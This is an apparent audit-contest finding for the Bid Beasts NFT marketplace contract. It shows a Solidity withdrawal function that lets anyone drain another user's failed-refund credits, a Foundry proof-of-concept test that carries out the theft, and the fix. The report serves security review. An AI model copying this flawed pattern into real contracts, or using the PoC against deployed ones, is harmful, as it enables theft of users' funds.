Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can withdraw failed payout

duma999

Anyone can withdraw failed payout

Description

The function withdrawAllFailedCredits allows anyone to takes the credit of a specific user by calling the function with his public address

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

impact(High) : Everyone can call this function and a public address is not difficult to find.

likelyhood(High) : Each time a payout fails, someone can track the transaction and call directly the withdrawAllFailedCredits to gain the credits of another user.

Proof of Concept

Add this line in the setUp function in BidBeastsMarketPlaceTest.t.sol:

vm.deal(SELLER, STARTING_BALANCE);
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(BIDDER_2, STARTING_BALANCE);
+ vm.deal(address(rejector), STARTING_BALANCE);

Add this test to BidBeastsMarketPlaceTest.t.sol

function test_Fail_withdraw() public {
_mintNFT();
_listNFT();
​
​
uint256 bidder1BalanceBefore = BIDDER_1.balance;
uint256 rejectorBid = MIN_PRICE + 0.01 ether;
​
vm.prank(address(rejector));
​
market.placeBid{value: rejectorBid}(TOKEN_ID);
uint256 secondBidAmount = MIN_PRICE * 120 / 100; // 20% increase
vm.prank(BIDDER_2);
market.placeBid{value: secondBidAmount}(TOKEN_ID);
​
// The refund fails and the rejector bidding was send to failedTransferCredits mapping
assertEq(market.failedTransferCredits(address(rejector)), rejectorBid);
​
// Anyone can take the refunding
vm.prank(BIDDER_1);
market.withdrawAllFailedCredits(address(rejector));
assertEq(BIDDER_1.balance, bidder1BalanceBefore + rejectorBid);
​
​
BidBeastsNFTMarket.Bid memory highestBid = market.getHighestBid(TOKEN_ID);
assertEq(highestBid.bidder, BIDDER_2, "Bidder 2 should be the new highest bidder");
assertEq(highestBid.amount, secondBidAmount, "New highest bid amount is incorrect");
}

Recommended Mitigation

add this line to withdrawAllFailedCredits :

function withdrawAllFailedCredits(address _receiver) external {
+ require(msg.sender == _receiver, "msg.sender not receiver");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!